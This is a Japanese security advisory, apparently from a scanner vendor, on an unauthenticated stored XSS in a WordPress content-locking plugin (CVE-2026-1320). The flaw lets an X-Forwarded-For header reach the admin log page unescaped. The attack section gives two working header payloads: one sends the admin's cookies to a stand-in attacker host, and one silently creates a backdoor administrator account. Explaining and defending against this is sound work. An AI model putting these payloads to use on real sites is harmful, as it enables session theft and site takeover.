CVE-2026-1320: Content LockingプラグインのStored XSS
概要
- CVE: CVE-2026-1320
- 影響プラグイン: Content Locking Plugin(WordPress)
- CVSS: High
- 認証: 不要(認証なしで攻撃可能)
- 種別: Stored Cross-Site Scripting(HTTPヘッダインジェクション経由)
- 開示日: 2026年2月16日
2026年2月、WordPressのコンテンツロックプラグインに深刻なStored XSS脆弱性が発見されました。攻撃者はリクエスト時にHTTPヘッダへ悪意あるJavaScriptを仕込むだけで、管理者のブラウザ上でスクリプトを実行させることができます。認証が一切不要な点が特に危険です。
何が起きたか
Content Locking Pluginは、指定したコンテンツを特定ユーザーだけに表示する機能を提供するWordPressプラグインです。このプラグインはアクセスログや統計収集のために、リクエスト元のIPアドレスを記録します。その際、X-Forwarded-For HTTPヘッダの値を信頼し、そのままデータベースへ保存していました。
問題の核心は次の2点です。
- 入力段階の検証不足:
X-Forwarded-Forヘッダの値に対してサニタイズ・バリデーションが行われていなかった - 出力段階のエスケープ不足: 保存された値を管理画面に表示する際、HTMLエスケープなしにそのまま出力していた
この2つの欠陥が組み合わさることで、任意のJavaScriptを管理者のブラウザで実行させる経路が生まれました。
攻撃の仕組み
攻撃者は以下の手順でStored XSSを成立させます。
ステップ1: 悪意あるリクエストの送信
攻撃者はサイト上の任意のページにアクセスする際、X-Forwarded-For ヘッダにJavaScriptペイロードを含めます。
GET /sample-page/ HTTP/1.1
Host: victim-site.example.com
X-Forwarded-For: <script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
User-Agent: Mozilla/5.0 ...
または、セッション窃取だけでなく管理者権限での操作も可能にする高度なペイロードを使うケースもあります。
X-Forwarded-For: <script>var x=new XMLHttpRequest();x.open('POST','/wp-admin/user-new.php');x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('user_login=backdoor&email=attacker%40evil.example.com&role=administrator&_wpnonce='+document.querySelector('#createuser [name=_wpnonce]').value)</script>
ステップ2: データベースへの保存
プラグインは受け取ったヘッダ値を検証せずにデータベースへ記録します。この時点ではスクリプトは実行されません。
ステップ3: 管理者がアクセスログを閲覧
管理者がWordPress管理画面からプラグインのアクセスログや統計ページを開くと、保存されていたスクリプトタグがHTMLとして解釈・実行されます。管理者が意図せずページを開いた瞬間に、攻撃者のコードが管理者のブラウザセッション上で動作します。
なぜ X-Forwarded-For が問題になるか
X-Forwarded-For はリバースプロキシやロードバランサーが元のクライアントIPを伝達するために使うヘッダですが、この値はクライアントが自由に設定できます。したがって、IPアドレスとしての検証を行わずに信頼してしまうことは、任意文字列をインジェクションする手段を攻撃者に与えることになります。
実際の被害
このタイプの攻撃が成功した場合、以下のような深刻な被害が発生します。
管理者セッションの即時奪取: document.cookie の値を外部サーバーへ送信することで、管理者のセッションCookieを取得。攻撃者は管理者として完全にサイトを操作できます。
バックドア管理者アカウントの作成: 管理者権限でWordPressのユーザー追加APIを呼び出し、攻撃者専用の管理者アカウントを静かに作成します。XSSのペイロードが削除されてもバックドアアカウントは残り続けます。
サイトオプションの変更: wp-admin/options-general.php へのPOSTリクエストを管理者セッションで実行し、サイトURLやメールアドレスの変更、悪意あるコードのインジェクションが可能です。
悪意あるファイルのアップロード: WordPressのメディアアップロードAPIを使ってPHPファイルをアップロードし、リモートコード実行(RCE)につなげることもできます。
特に危険なのは、Stored XSSである点です。攻撃者はリクエストを1回送信するだけでよく、管理者が次にログページを開いた際に自動的に攻撃が実行されます。管理者が気づかないまま権限を奪われるシナリオが成立します。
修正と教訓
修正内容
プラグインの修正版では次の対策が実装されました。
- 入力段階:
X-Forwarded-Forの値をIPアドレスのフォーマットで検証し、不正な値は記録しない - 出力段階: 管理画面での表示時に
esc_html()を用いてHTMLエスケープを徹底する
教訓
-
HTTPヘッダは信頼できないユーザー入力:
X-Forwarded-For、User-Agent、Referer等のHTTPヘッダはすべてクライアントが任意の値を設定できます。データベースへ保存する前に必ずサニタイズが必要です。 -
入力バリデーションと出力エスケープは独立した防御層: 入力を検証していたとしても、出力時のエスケープを省略してはなりません。どちらが欠けても攻撃が成立します。
-
保存型XSSは持続的脅威: 反射型XSSと異なり、攻撃者のリクエストは1回で済みます。管理者が数日後にページを開いた際にも実行されるため、検出が難しくなります。
-
認証不要の攻撃経路: この脆弱性は認証なしで攻撃できます。攻撃者はWordPressのアカウントを一切持たずとも、HTTPリクエストを1回送信するだけで攻撃の準備が完了します。
-
IPアドレスは文字列として検証する:
X-Forwarded-Forに依存する場合は、正規表現等でIPv4/IPv6のフォーマットに厳格に制限することが重要です。
Nyambushでの検出
NyambushはWordPressのプラグインバージョンを検出し、この脆弱性を含むContent Lockingプラグインのバージョンが確認された場合に警告を発します。
また、定期スキャンによってプラグインのバージョン変化を継続的に監視します。脆弱なバージョンから修正済みバージョンへのアップデートが行われていない場合、アラートで通知します。
認証不要で成立するStored XSSは攻撃コストが極めて低いため、発見次第即座の対応が推奨されます。このような脆弱性に対して、Nyambushの継続スキャンは早期発見と迅速な対応を支援します。